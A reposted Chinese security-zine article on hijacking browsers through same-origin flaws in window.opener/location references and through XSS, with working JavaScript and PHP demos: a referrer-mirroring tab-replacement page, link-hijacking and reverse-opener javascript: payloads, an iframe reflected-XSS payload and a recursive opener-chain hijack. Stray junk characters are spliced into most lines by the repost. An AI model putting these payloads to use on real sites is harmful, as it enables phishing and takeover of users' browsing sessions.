找回密码
 立即注册
欢迎中测联盟老会员回家,1997年注册的域名
查看: 1944|回复: 0
打印 上一主题 下一主题

[PSTZine 0x03][0x05][利用窗口引用漏洞和XSS漏洞实现浏览器劫持]

[复制链接]
跳转到指定楼层
楼主
发表于 2012-9-13 17:10:56 | 只看该作者 回帖奖励 |正序浏览 |阅读模式
                           ==Ph4nt0m Security Team==
1 l) }& E* `6 j( q/ G) F 9 C; o1 p; {/ z8 E! [2 T$ \- c* S( ~
                       Issue 0x03, Phile #0x05 of 0x074 U0 S' u9 K4 c+ R

0 Z6 |7 k, }* @! T: J" G( e6 O4 k" h7 ?
|=---------------------------------------------------------------------------=|
+ L3 v, L9 ]7 z5 B9 r! B|=---------------=[ 利用窗口引用漏洞和XSS漏洞实现浏览器劫持 ]=---------------=|
6 p! u, T) o# Q9 B. l2 ]- m|=---------------------------------------------------------------------------=|; x/ X; C6 ~& |3 b
|=---------------------------------------------------------------------------=|
9 M" \/ F4 M8 o- }+ @/ X- @|=------------------------=[      By rayh4c     ]=---------------------------=|) a' O; ^$ s  j: ^
|=----------------------=[    <rayh4c#80sec.com>   ]=------------------------=|. i* J) A( I  }' B1 f! N1 e- C  c
|=---------------------------------------------------------------------------=|
" i. g. T( h& E" H
% J  s8 O) a, C3 t5 _) `. z6 G% ?& I; s& j: t
[目录]
: J! ?  a$ t$ h4 r- v/ p3 k8 j" O. X- N$ }" r
1. 前言
# Y4 `/ [8 [# ~3 e2 R$ s4 w) ?2. 同源策略简叙1 @6 b* Z9 T3 B7 j
3. 理解window对象的同源策略" J; t9 G) p# R+ Z7 q) d
4. 窗口引用功能中的同源策略漏洞
5 I3 p5 O3 I7 I  4.1 父窗口引用子窗口的同源策略问题$ ~0 q6 E) C' v
  4.2 子窗口引用父窗口的同源策略问题
7 P1 L' z8 B% ]# J" v' t5. 利用窗口引用漏洞劫持浏览器
) r. F* A# t( N2 j9 ~. `% B6. 利用XSS漏洞劫持浏览器
/ X' R: N/ Z# p: `  6.1 正向跨窗口劫持
3 ~6 I; e- I/ n5 r  6.2 反向跨窗口劫持9 T" g- p  @" U  Z  k$ X0 ~( z
  6.3 极度危险的跨框架窗口引用劫持6 D) {" m. E: b8 F8 H" b( _8 _. ^$ Z
  6.4 极度危险的正反向跨窗口递归劫持
3 W9 f& m( O( N3 d7 z- O  6.5 完全控制浏览器$ {' J, {* P5 S* A$ r7 Z; b
7. 后记3 `$ p% l1 W4 F% j1 ]; r& m) }
8. 参考& J: j. R5 p3 p5 T
' d* s2 I/ h$ F3 q- |- f

: ^+ X' i' s1 E/ G' ~一、前言! {1 d! b2 [5 e- Z

- ]6 A) l$ c/ h! S    最近国内关于XSS漏洞的技术文档都比较少,所以决定写这篇文档,其中的很多细节和朋
2 g* i1 ^. W. z友们都沟通讨论很久了,其中包括了我对浏览器同源策略和XSS的一些理解。XSS漏洞从Session
3 L9 j. @! ^* N; r劫持、钓鱼、XSS WORM等主流攻击方式发展到现在,告诉了大家一个真正的跨站师是不会被
8 ?$ U& s0 T& m  H条条框框所束缚,跨站师们在不断的创新,跨站师们会展示XSS漏洞的所有可能。
# \( Q1 e8 M8 b8 O0 H; J; J0 b( u. ~4 Z- t6 S7 D/ D  \, z

# r4 u" _3 l# N+ n1 ^二、同源策略简叙2 m0 k) j2 w* M2 I: _5 \
! l/ [: ^# U5 s: t; O6 f8 m! F
    同源策略是浏览器的安全基础,它是浏览器支持的客户端脚本的重要安全标准,我们可以
# D! a7 H; S# p2 O# r从“源”上了解这一安全标准,按照W3C的标准这个“源”包括域名、协议和端口,各大浏览器都
. _  w7 Q+ l5 Q, w% ?8 N) t/ T曾爆出过很多同源策略漏洞,危害程度各有不同,比如从06年开始流行至今的MS06-014网页木
' S! S0 D  `, U马漏洞都已经完全颠覆了同源策略。这次的文档主要说的是DOM的同源策略(参考2)中的一个3 Y: E% r) c  W4 O
漏洞,然后从漏洞引申到XSS漏洞如何利用DOM的同源策略特性,最终实现浏览器劫持。
% }0 H0 E1 g# K  m) \$ n# f5 y  }/ Y& D1 z- h6 u. Y
2 J8 G' m% {5 U( K6 @1 A* v$ t
三、理解window对象的同源策略
- f4 @1 A5 u0 k0 e
  e* P& k8 T5 }/ m. d$ e    窗口即指的是浏览器窗口,每个浏览器窗口都可以使用window对象实例来表示,window对& Y& e9 a& E0 b' o7 B5 }  Z, x
象有很多属性和方法,写一个简单的脚本可以历遍出window对象的所有属性和方法:4 @4 S6 ]7 m( f/ V  K( D+ s

9 e2 f7 C7 i6 t+ }--code-------------------------------------------------------------------------
+ F1 A  q( }# i<script language="javascript">7 I' l; u" O# e* t1 K+ q; k
for(p in window) document.write(p+"<br>");
7 w3 B* g# L- @4 Z; O4 s9 {, C</script>7 {+ y2 L7 P) m2 ]+ q* U3 a4 u9 M
-------------------------------------------------------------------------------/ L% V" _9 N. B! L; F1 j$ ]* k: i/ G

- G# H# K9 J, j( p1 U    这些window对象的属性和方法可以改变窗口的外观和窗口网页的内容,当这些属性和方
, O/ s8 ~9 X% M* _7 b( ^1 i法只在一个窗口中使用并不会凸显出安全问题,但是当多个window对象开始互相引用的时候,
) L5 m/ I2 L+ y6 f; V这些属性和方法就必须遵循同源策略。7 e% h! o. W% k) W3 [
# |" |& W+ R* {& i) b$ t
    举一个简单的例子,如果在a.com的网页可以调用b.com网页window对象的属性和方法,那
  B% H4 y$ ]2 ^8 y, c么跨站师就可以随便XSS互联网上任何一个网站了,所以为了避免安全问题,同源策略是必须$ y0 ^4 \$ M& _
的。我们可以把下面的脚本保存为demo.html到本地打开或者丢到远程服务器上进行测试,这7 H+ K, v$ \- h# j4 z& R
个脚本的效果是调用不同源的子窗口window对象的属性和方法,我们会发现location属性的  a1 ~: f% }  }4 {( }3 s
值类型是空白的,这种情况太特殊了,说明不同源的父窗口引用子窗口window对象的location  R' b0 j& @2 X$ e  ]
属性并没有被拒绝访问。
1 n/ T) D: P8 e3 f6 ~1 n. V; r6 @" d
--demo.html--------------------------------------------------------------------
. A0 w1 S9 g( I% L0 O" A! Z% }<script language="javascript">   " j7 C! ]7 B5 n" G
function allPrpos(obj) {      , p" l. L1 ]' N
      var props = "<table><tr><td>名称</td><td>值</td>";           
  M: V) X. l# [( [1 k$ ]      for(var p in obj){          % s! m& e: L: D( _/ l/ Q
            if(typeof(obj[p])=="function"){   
$ w# ]. ~* }" h7 X" e                   obj[p]();   
! H7 g" B& L% r) N3 T& m! \9 u             }else{                      & |. O6 |( y4 m4 L$ U# L% B9 F
                  try   
. V) S9 }4 J% z4 l# ?                   {   
% b- e/ v9 u; N1 i: C0 ^+ c                          props+="<tr><td>"+p + "</td><td>" + obj[ p ] + "</td></tr>";   
. O: G; N( p% K* t4 H9 n# m+ y                   }   , W8 e2 Y1 g1 u6 F
                  catch (ex)   6 U  I! v& O, G3 C" e
                   {   # `' k2 h9 @) S! j& @2 J- N5 r& u
                   ; j% R4 S( X. C9 f; _
                          props+= "<tr><td>"+p + "</td><td>" +ex.message+"</td></tr>";   1 [7 ]( ~8 o- D3 G7 e
                   }   $ i/ b- g! j4 |) V) t+ o5 @  Q
                       
1 t) p/ H: H  w5 J             }   3 f: V  q- d+ N4 @% x( H  U
       }   . J: g/ u9 ^  f
   , A- Y6 a; u0 N$ i
       document.write(props+"</table>");   : H% ]: R$ _7 D& F
}   ( ]2 R' n) B# @# s
   ; U+ o# n5 P+ s, C3 f
function createWin() {
* L  l& r+ n8 K7 o9 Q' K, M' I        newWin = window.open ("http://www.google.com");  
% Q4 K. q3 O9 J/ `        setTimeout(function(){allPrpos(newWin)},2000); ! K1 S' u4 E+ B) h8 f' y4 O
}
: s. r8 C4 E# K4 Q
) M8 X, B, {( I# [# G8 r</script>
6 i, ^* l1 T0 i. w# o4 x
1 \0 J3 B7 P' t1 x6 K<button onclick='createWin()'>创建一个非同源子窗口测试</button>
: V: ?( r5 T8 ]) M& {! P1 \-------------------------------------------------------------------------------
: _8 O6 a0 g. f, x
2 ]* ?/ q- i( U; E
: P/ C* V7 G8 N/ O) W四、窗口引用功能中的同源策略漏洞
' i0 p/ ~5 q8 n7 i6 d5 t1 H: H2 E& k+ {; w2 Y8 W1 y
4.1 父窗口引用子窗口的同源策略问题
6 Z2 f8 R" P* J" T  ?
0 ?1 B# v0 d4 D$ y    去年我在幻影杂志发过的IE6跨域脚本漏洞,这个问题微软已经发布了ms08-058补丁修复,+ x/ ^: i& B/ x3 @. u* R
但这个漏洞仍然暴露了父窗口引用子窗口的同源策略问题。根据第二部分的测试,我们知道
# O) x% n  v" M0 A5 ^3 l4 G" f  \浏览器并没有阻止父窗口访问非同源子窗口的location属性值,我们可以使用下面的脚本进: o+ X/ ]* i- A, W% S
行测试,会发现父窗口可以控制非同源子窗口location属性值。
$ M% v: ?3 A% e8 C' D- I0 D5 i8 N, K, h% V: p% B
--vul1.html--------------------------------------------------------------------. g. d, ~) l; ^% i& L
<script language="javascript">
+ U' R. s9 v  p: X, ufunction createWin() {  / r" y8 q- ^3 J
        newWin = window.open ("http://www.google.com");  
  }) e* s% b) f) F# z        setTimeout(function(){newWin.location="http://www.80sec.com"},2000);
6 m1 T- S3 {/ v4 O6 ?" b}
3 f1 \) K) a" m- e0 u$ f; J</script>
3 ^8 v$ Q7 J1 x, J  {8 I6 L& Z* t3 ?; l" @% H% k8 U
<button onclick='createWin()'>创建一个非同源子窗口测试</button>
2 d/ u) h8 J9 g' u# f9 [% O-------------------------------------------------------------------------------3 {/ s7 S/ ]  y( n

( a+ W$ j: E& N" |4 B5 }
, T, s! z% [: Q3 j3 Q; ?! b% D4.2 子窗口引用父窗口的同源策略问题; O0 |. f4 u) c+ ^

2 [$ E6 j  z- o9 ]/ F    逆向测试一次会发现子窗口引用父窗口也存在同样的问题,这里为了更方便和直观我使
) l5 C, p1 U& ]- K用javascript伪协议进行验证。子窗口引用父窗口的window对象属性是window.opener,我们
* \, _; K( W2 O3 V5 N: u可以随意浏览一个网站点击链接打开N个网页,在这些网页的地址栏注入下面的脚本,你一定
* {' X6 x# H: G# x/ i2 z3 k. A0 p会惊奇的发现,不管同源还是非同源的父窗口都转跳到了80SEC网站。+ o+ |. q) L5 b: z! ^2 P( n' t

  E' o+ P! D: \0 j6 a( ^--code-------------------------------------------------------------------------
5 k( X$ R8 x, ~$ Z. z4 j
4 A; {2 W7 `; y! L! f8 n, Fjavascript:window.opener.location = "http://www.80sec.com";void(0);- t& `% {) q  k7 y. U

9 x- z! D) \, b  u& m( _& u-------------------------------------------------------------------------------! q% N0 E4 T1 J1 a' F9 q

/ u& E3 b: i- b3 S  D
5 ^& K: B$ {$ W, N6 ]# X五、利用窗口引用漏洞劫持浏览器4 M8 j; d7 \; P  e' G1 Q

* M+ I+ o  V+ y3 B8 q0 A    经过上面三个枯燥的测试,我们已经暴露了浏览器一个非常严重的安全问题,非同源的子
3 @% G' C2 @7 ?" e" Q# d" c窗口和父窗口可以互相引用控制window对象的location属性值,并没有严格遵循同源策略,那
  z# l' U' [# W4 p么用户在浏览器中的所有点击行为都有可能被跨站师变相控制。
8 P9 b( a8 D5 A0 E  N6 P
+ b5 K+ V) L" s# C' {/ T2 y; p    我们打开浏览器访问互联网上的各个网站,无时无刻不在点击链接,我们点击链接想要产# B: e7 M& e5 [- b$ L# v: P0 d  S" M
生的结果是去访问我们想要去的URL地址,用户的正常点击只会产生两个结果,打开新窗口或
" ]  p, H& B$ Y/ K者当前窗口转跳,试想一下你在SNS网站、电子商务网站、BLOG、论坛里点击一个正常的链接+ s. [, y! d) I8 R% O7 \+ H; w4 J/ J
后,打开了一个“无害”的网页,原本浏览的信任网页却已经被悄悄替换了,大家可以联想一下
2 _! p; c7 T# k+ U会产生什么可怕的后果。$ j! H" M% r! H8 o# J

; v/ q6 _5 A" J, T8 T: h' J    下面我写了一个劫持浏览器的小Demo,思路是获取REFERER后生成镜像页面,同时加入我
: e2 Q5 z2 k" i' D( G- M9 g1 ]们的劫持脚本。比如把这个hjk_ref.php丢到本地服务器上测试,将http://127.0.0.1/hjk_ref.php
1 U3 v& C; G$ d1 a0 z  Q% c. k这样的链接发到任意一个网站上,点击链接打开新窗口,当所有的注意力都停滞在新窗口的时( U# {1 l" E: w. n9 s0 I
候,3秒后一个镜像页面将会悄悄替换链接所在页。按照类似的思路,发挥跨站师的想象力,可) q( }( c! N: u
以做更多的事情,所有的一切仅仅是因为点击了一个链接。7 w6 U: {% \/ x; l0 w, n  q
( t+ p1 H5 r8 J8 |
--hjk_ref.php------------------------------------------------------------------+ L/ l0 i' A5 y! e6 d  d, `
<?php
4 l7 J1 }) ]. c0 Y% F0 o$ _/ uif (array_key_exists("HTTP_REFERER", $_SERVER)) {
' m! L1 l5 F: B* G  n$Url_Mirror = $_SERVER["HTTP_REFERER"];4 F0 e% N" d4 j
} 7 o7 |! }! L  j) }4 w
if(isset ($_GET['ref'])) {1 H) O5 }. Y5 D1 c- c5 ?: V3 l
echo file_get_contents($_GET['ref']) . '<script>alert(\'I had been hijacking your browser!\')</script>';
( Q* Z; d+ n( G, n}0 e8 }+ s$ f; v7 l( g
?>7 j0 E7 E/ n7 e! u

6 c$ O* }  X+ G8 v<script language="javascript">. c* l, T. u6 G7 ?
setTimeout(function(){window.opener.location=window.location+"?ref=<?echo $Url_Mirror;?>"},3000);         4 B5 @# q" [& x$ @. y- |
</script>
+ D' o- N; t. k- X-------------------------------------------------------------------------------$ }# z9 |/ V: S, @& C" B
% w& R/ t& n3 Y  a
    注:各大主流浏览器仅opera和internet explorer 8不存在窗口引用漏洞。4 J6 }. V1 n+ P( |  x
8 _. C0 Q# A2 [6 `" Y7 n0 w5 s1 Q+ f

8 S8 F+ b& Z2 B2 ?$ |+ n六、利用XSS漏洞劫持浏览器! D2 A1 p/ h+ L7 ~7 v

# Z. |  t* r' z" c. j* c    延续第四部分的思路,这部分将进入本文的一个重要环节.跨站师们都知道XSS漏洞分为9 V8 }! z; q" P+ t
持久和非持久两种,这两种类型的漏洞无论怎么利用都无法跳出窗口的生命周期,窗口关闭后
) Z0 n) J5 s' a* wXSS漏洞的效果也就完全消失,窗口的限制一直束缚着跨站师们的发挥,我这里将和大家一起
9 k% A+ u. e1 ~3 t  s( ]讨论跨站师的终极技巧:# h0 o7 u% Z1 \  m3 i

+ F3 L, X# P/ J7 l. O3 t3 h7 R, m2 |% n0 k' z' w5 @. ?
6.1 正向跨窗口劫持- \" Y  R: Z- t, p- Y

% ~& ~1 N$ y$ m) B! k    大家可以先试验下hijack_open.js这个脚本,比如打开http://bbs.dvbbs.net/动网论坛$ A, _+ x  L( w6 r1 Q8 ]
主页,我们在地址栏里复制下面的代码使用伪协议注入hijack_open脚本,然后整个页面的链
/ ]$ z& d. C0 b4 z接就都被劫持住了,点击论坛里的任意一个链接,打开的新窗口都会被注入了一个alert对话/ C" y8 U8 ~0 P, \) W
框脚本。
9 t" t5 B# }4 l& V& z6 L: V. Q/ [1 ~
--hijack_open.js---------------------------------------------------------------4 d/ J' u/ _. l5 U( i# u
  _2 h1 R- \0 B' z3 l" t7 t: x
javascript:for(i=0;i<document.links.length;i++){document.links.onclick=function(){x=window.open(this.href);setTimeout(function(){try{x.location="javascript:alert('I had been hijacking your browser!')"}catch(e){};return false;},3000);return false;}};void(0);/ B% ]7 |3 g, g# s# z( ?* S0 G
5 c; C) k  q1 [  O- ]2 t9 m
-------------------------------------------------------------------------------8 R% d2 i5 r7 {6 h  e) w$ e
+ R9 M3 }! m1 N

3 H1 r; M$ A1 P6 U, i: U, F+ z- k6.2 反向跨窗口劫持  V8 P6 y- T5 }1 U
, t4 a2 q  T  j5 e6 N
    同样我们也可以在动网论坛试验,新打开任意一个版块的窗口,在地址栏里复制下面的代
. p7 |. O! m, A- Q码使用伪协议注入hijack_opener脚本,我们会发现原来的页面被反向注入了一个alert对话1 v2 I, m4 T" h8 X# I. I
框脚本。
; l5 h) }) h) @  {$ e2 P$ m6 e( J( J* X/ v/ D. v& T+ i! r
--hijack_opener.js-------------------------------------------------------------1 U6 b* G) O1 G  j8 i1 }$ f0 t
* }! T( J! C5 t7 S
javascript:window.opener.location="javascript:alert('I had been hijacking your browser!')";void(0);1 t3 U* b) T; [! B1 N" |

  q* ^* d9 e& ], T-------------------------------------------------------------------------------  ]7 ~0 a% m; n: w/ f
0 i( q/ W9 n" J, W# L
0 q1 e" z" s3 R4 L' p  M
6.3 极度危险的跨框架窗口引用劫持+ s. T8 |1 y/ |
9 w6 i1 [! v- c5 B
    非持久型XSS漏洞是在URL参数中注入脚本,一度被认为很鸡肋,一个非持久型的XSS漏洞
) G( B4 p; f! N! U0 [9 F* Y6 q; ?可能出现URL参数过于冗长等缺点,下面这个window.parent.opener的跨框架窗口引用技巧就
1 x/ _' q+ e, K8 L适用于所有的非持久型XSS漏洞,我们可以在一个被攻击者的信任网站上的网页里iframe一个
6 g" i4 F$ e# N/ F% K" `非持久型的XSS,如下:) m% }8 r- `) q0 {  V
& `/ m# O: s# H, X+ e
<iframe src='http://www.target.com/index.php?vul=xss'width='0' height='0'>2 B! h, y9 S4 K2 e7 o1 ]

, W4 \8 Q2 i* e    在vul参数中写入下面的hijack_frame_opener脚本,跨站师就可以反向跨框架引用窗口* S4 c$ V/ f* ^0 ], i2 B: I, L
注入脚本。7 c8 H- d$ R! f8 J2 [( I

' M7 O: L' T; A& ?; f* a7 F( \6 q--hijack_frame_opener.js-------------------------------------------------------" @8 w8 V, f4 F" f8 i
<script>( g& @1 T( A$ c1 r7 n! n8 d% ?
window.parent.opener.location="javascript:alert('I had been hijacking your browser!')";
/ |+ @  }$ e" @6 ]2 L# O</script>
( i5 o- z& R$ w5 U9 B0 s-------------------------------------------------------------------------------
/ U9 S/ `0 w2 C5 J- T/ o- {' k- m5 J  L& K, K; |, R
; |' J  J+ {  Q  e9 J: _; |
6.4 极度危险的正反向跨窗口递归劫持
( y% ]  [; x  B# q" U
& ?- _% _4 a4 h7 B# a$ }' N    luoluo建议我加上了这一部分,窗口之间的引用关系可能是复杂的,我们可以通过window- \" l. {7 ~/ E8 u* O9 \
的opener属性链反向递归查找窗口注入XSS脚本,将互相引用过的同域窗口全部劫持,并通过$ U1 q5 p. J% Q2 A3 @
异常处理规避之间跨域页面的访问异常,代码如下:
0 m7 }0 p0 R7 j. T' `' B7 ~, h$ z& A) A4 n7 q& t
--code-------------------------------------------------------------------------; f- `9 m( O" v) `7 C3 z
1 {1 G2 {. k! o4 |" F2 c& q0 m6 }4 o7 V
javascriptfunction(){var w=window;while(w.opener){w=w.opener;try{w.location="javascript:alert('I had been hijacking your browser!');void(1);";}catch(e){}}})();void(0);, K# B8 ]- p- P( b; {/ }. [

* U* r5 U1 Q9 m8 G+ N-------------------------------------------------------------------------------
7 U$ {' r0 ^/ R& R, U) i
' e6 l5 f) y3 |1 p0 E    假设页面打开序列有A域->B域->A域的情况,通过对第二个A域页面的反向递归劫持则可) ~# m1 B. g$ s. b- R9 f
以劫持B域之前的A域页面,从而实现“隔空打击”。
# {2 E' K# l% h; O& P% c$ u
" @3 k/ j! A8 _- d    同理,正向跨窗口劫持也可以实现递归劫持所有同域的链接,对每个打开的被劫持的页面
9 R5 e* K& w" r- Z5 J  _& q执行和第一个页面一样的劫持脚本,但是正向递归没法实现反向递归的那种“隔空打击”。8 A/ A' t! t  y

" j8 v3 W2 o7 L1 e5 ?; b' R    结合正向和反向的链式递归劫持,最终我们可以劫持所有的同域页面。
! s: G% P. ]# K, o+ y# ]
. ]& f- X" o, z2 ?0 O# u, C; `% g3 \
6.5 完全控制浏览器* S. t; G5 F; J5 P2 v
" X2 s3 M  p5 \; i# D$ o
    一个跨站脚本漏洞的真正意义在程序员的角度是输入和输出问题,而在跨站师的角度则
' r: P' ?6 `& v: R9 m是能够进入同源策略了,可以摆脱同源策略的束缚做任何想做的事情。跨站师们可以利用XSS6 x) k, b  O8 u2 [3 [- \, D) c
漏洞在同源策略允许的范围内再跨页面注入脚本,可以不再为窗口关闭后XSS漏洞的效果消失+ z# |& m' ~% a: u) q4 l
而烦恼,劫持窗口后的跨站师们可以任意发挥,劫持表单,劫持请求,劫持输入等等,我就不再
1 H( V. w% ]6 K* u9 Q( \列举实例。无论是持久型还是非持久型的XSS漏洞都是能够发挥最大的威力的,最后实现跨站, q/ O/ I$ y$ b$ g6 w' Y% u
师的终极目标 - 完全控制浏览器。: z- F: p: O* f2 }2 T7 b1 R
0 F% j+ a) L4 H& h

1 |- j# W2 y6 x七、后记
9 w  r' o. N& [
4 j# M. A; H6 B, ]    文章涉及的安全技术全部都是纯研究性质,请不要将这些技术使用在非法途径上。安全
& I# q+ I+ E) Y7 \7 q8 u1 E5 y7 m0 q7 a与应用永远是一个矛盾体,通往安全的路永远不止一条。感谢对这篇文档的思路和技术给予
) O/ k  N6 w! |$ [. P- \5 ?过帮助的luoluo、cnqing、linx以及80Sec团队的所有成员。- ^* O$ d4 b) w7 r& v( n2 A: d
( R+ k% L' u  B

( J% N. k% Q1 w( T; x. F八、参考2 G9 s, x1 g' d# W5 n
6 Q* |/ r" E+ f
1. http://en.wikipedia.org/wiki/Same_origin_policy: t) Z* @0 O" I9 I
2. http://code.google.com/p/browser ... licy_for_DOM_access* M. ^3 _; \6 Q
3. http://www.w3.org/TR/Window/! j! T4 h2 B* z% B- L
4. http://www.80sec.com/release/browser-hijacking.txt
5 x" o1 \5 ?0 }& y6 Q8 w5. http://www.80sec.com/all-browser-security-alert.html4 u( S0 l6 P8 j4 K" X
6. http://www.80sec.com/ms08-058-attacks-google.html8 R+ W# @$ O$ ^" o, s8 W
8 g5 k7 |7 ~3 G6 x- l) c6 H; u7 `
-EOF-
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表